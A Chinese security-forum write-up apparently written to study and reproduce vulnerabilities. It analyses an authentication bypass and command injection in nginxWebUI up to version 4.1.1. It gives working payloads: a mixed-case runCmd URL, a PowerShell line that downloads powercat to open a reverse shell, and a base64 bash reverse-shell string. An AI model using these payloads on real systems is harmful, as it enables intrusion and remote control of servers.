文章来源：奇安信攻防社区

链接：https://forum.butian.net/share/3099

作者：中铁13层打工人

nginxWebUI后台提供执行nginx相关命令的接口，由于权限校验不严谨，未严格对用户的输入过滤，导致3.4.7版本之前可远程执行任意命令。本着学习的态度进一步了解该工具存在的漏洞并进行复现与分析

前言

nginxWebUI后台提供执行nginx相关命令的接口，由于权限校验不严谨，未严格对用户的输入过滤，导致3.4.7版本之前可远程执行任意命令。本着学习的态度进一步了解该工具存在的漏洞并进行复现与分析。

关于nginxWebUI

nginxWebUI是一款图形化管理nginx配置工具, 可以使用网页来快速配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, 静态html服务器, ssl证书自动申请、续签、配置等, 也可管理多个nginx服务器集群, 随时一键切换到对应服务器上进行nginx配置, 也可以一键将某台服务器配置同步到其他服务器, 方便集群管理。

0X01 漏洞描述：

<=3.4.7版本，存在未授权命令执行

3.5.2 < =nginxWebUI <= 4.1.1，存在后台命令执行

0X02 漏洞环境搭建：

源码直接下载，导入idea后启动即可。

0X03 漏洞分析

先看下过滤器源码，了解系统的认证控制部分。进入Appfilter中可以看到，认证控制使用了Solon 框架。

查看path传入方式源码，传入的path没有做验证，Solon框架2.2.14之前路由器对 url 的匹配默认是 “忽略大小写” com.cym.NginxWebUI#main如下：

继续往下看可以看到doFilter方法，用于全局过滤。可以看到其中的登录过滤器，这里的验证逻辑是：如果请求路径中包含"/adminPage/"而不存在"/lib/"、"/doc/"、"/js/"、"/img/"或者"/css/"，则会调用adminInterceptor()函数进行权限验证。可以了解到Solon 路由器对 url 的匹配默认是 “忽略大小写” 的，那么就可以通过大小写混淆的方式去绕过鉴权，从而实现未授权访问。

在漏洞公告提示runcmd方法存在命令执行，直接在源码里搜索runcmd查看源码（com.cym.controller.adminPage.ConfController#runcmd）：

可以看到cmd参数是可以任意传入的，cmd传入的参数会先进行特殊字符的过滤，再检查cmd参数是否包含关键字符nginx，如果不包含，则将命令修改为 nginx restart，判断无误后直接拼接到RuntimeUtil.exec()方法中执行。需要注意这里仅做了部分特殊字符过滤，过滤不完全，可以尝试使用其他的命令符去绕过。

漏洞验证：

综上所述可以得到最终payload：

/AdminPage/conf/runCmd?cmd=calc%26nginx      //使用&绕过，uri中admin首字母大写page中P小写绕过

这个版本以后作者在过滤器部分进行了修复，并且升级了solon框架至2.2.14版本，这个版本中可以对uri传入进行大小写敏感判断（com.cym.NginxWebUI#main）。另外在过滤器中加入了字符串转换方法，对uri进行了统一的小写字母格式转换。至此无法绕过登录。但是runcmd部分没有做任何修复，所以还可以实现后台rce。

String path = ctx.path().toLowerCase();

漏洞验证：

0X04 新发现

系统中还存在其他位置存在rce，直接在搜索框搜索RuntimeUtil.exec查看还有哪里调用了命令执行函数，可以看到其中有很多点进去查看，发现在check方法下可以自定义传入的参数nginxexe：

跟进查看主要代码：

代码主要逻辑是读取一个名为 "mime.types" 的资源文件，并将其内容写入到临时文件中，然后构建一个命令用于测试 Nginx 配置的有效性，并执行该命令。nginxexe参数可控，可以直接尝试执行系统命令。

此处方法源码如下：

这里调用的是check接口方法

/**
 * 检查页面上的配置
 * 
 * @param nginxPath
 * @param nginxExe
 * @param nginxDir
 * @param json
 * @return
 */
@Mapping(value = "check")
public JsonResult check(String nginxPath, String nginxExe, String nginxDir, String json) {
    if (nginxExe == null) {
       nginxExe = settingService.get("nginxExe");
    }
    if (nginxDir == null) {
       nginxDir = settingService.get("nginxDir");
    }

JSONObject jsonObject = JSONUtil.parseObj(json);
String nginxContent = Base64.decodeStr(jsonObject.getStr("nginxContent"), CharsetUtil.CHARSET_UTF_8);
nginxContent = URLDecoder.decode(nginxContent, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~");

List<String> subContent = jsonObject.getJSONArray("subContent").toList(String.class);
for (int i = 0; i < subContent.size(); i++) {
String content = Base64.decodeStr(subContent.get(i), CharsetUtil.CHARSET_UTF_8);
content = URLDecoder.decode(content, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~");
subContent.set(i, content);
}

// 替换分解域名include路径中的目标conf.d为temp/conf.d
String confDir = ToolUtils.handlePath(new File(nginxPath).getParent()) + "/conf.d/";
String tempDir = homeConfig.home + "temp" + "/conf.d/";
List<String> subName = jsonObject.getJSONArray("subName").toList(String.class);
for (String sn : subName) {
nginxContent = nginxContent.replace("include " + confDir + sn, //
"include " + tempDir + sn);
}

FileUtil.del(homeConfig.home + "temp");
String fileTemp = homeConfig.home + "temp/nginx.conf";

confService.replace(fileTemp, nginxContent, subContent, subName, false, null);

String rs = null;
String cmd = null;

try {
ClassPathResource resource = new ClassPathResource("mime.types");
FileUtil.writeFromStream(resource.getStream(), homeConfig.home + "temp/mime.types");

cmd = nginxExe + " -t -c " + fileTemp;
if (StrUtil.isNotEmpty(nginxDir)) {
cmd += " -p " + nginxDir;
}
rs = RuntimeUtil.execForStr(cmd);
} catch (Exception e) {
logger.error(e.getMessage(), e);
rs = e.getMessage().replace("n", "<br>");
}

cmd = "<span class='blue'>" + cmd + "</span>";
if (rs.contains("successful")) {
return renderSuccess(cmd + "<br>" + m.get("confStr.verifySuccess") + "<br>" + rs.replace("n", "<br>"));
} else {
return renderSuccess(cmd + "<br>" + m.get("confStr.verifyFail") + "<br>" + rs.replace("n", "<br>"));
}

}

继续跟进RuntimeUtil.execForStr()

跟进发现代码对传参进来的命令进行了分割，根据空格把命令分割开，以数组的方式传入。

通过最终调用ProcessBuilder.start方法执行命令，其中cmdarray[0]是要执行的命令，程序会对命令参数进行检查判断其中是否包含空字符，如果包含则抛出异常。cmdarray[1]会被作为命令执行的参数进行转换，所以执行系统命令经过处理以后会使原来的命令执行失效。

下来就是执行传入的cmds命令

综上找到对应的漏洞功能点，check方法对应检验文件：

抓包测试漏洞执行弹calc命令：

尝试执行ping命令：

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc aQBxxxxxxGMAbwA==
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c xxxx -p xxx -e cmd

在linux系统下测试漏洞，可以使用执行bash命令结合base64编码的形式反弹shell绕过命令分隔符判断。最终得到的 paylaod如下：

bash+-c+{echo,xxxxxxxxxxxxxxOS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

后台rce漏洞验证：

4.1.1版本漏洞验证：

经过验证截至到最新版本（4.1.1）存在漏洞。

 

原文始发于微信公众号（黑白之道）：记一次代码审计rce测试学习过程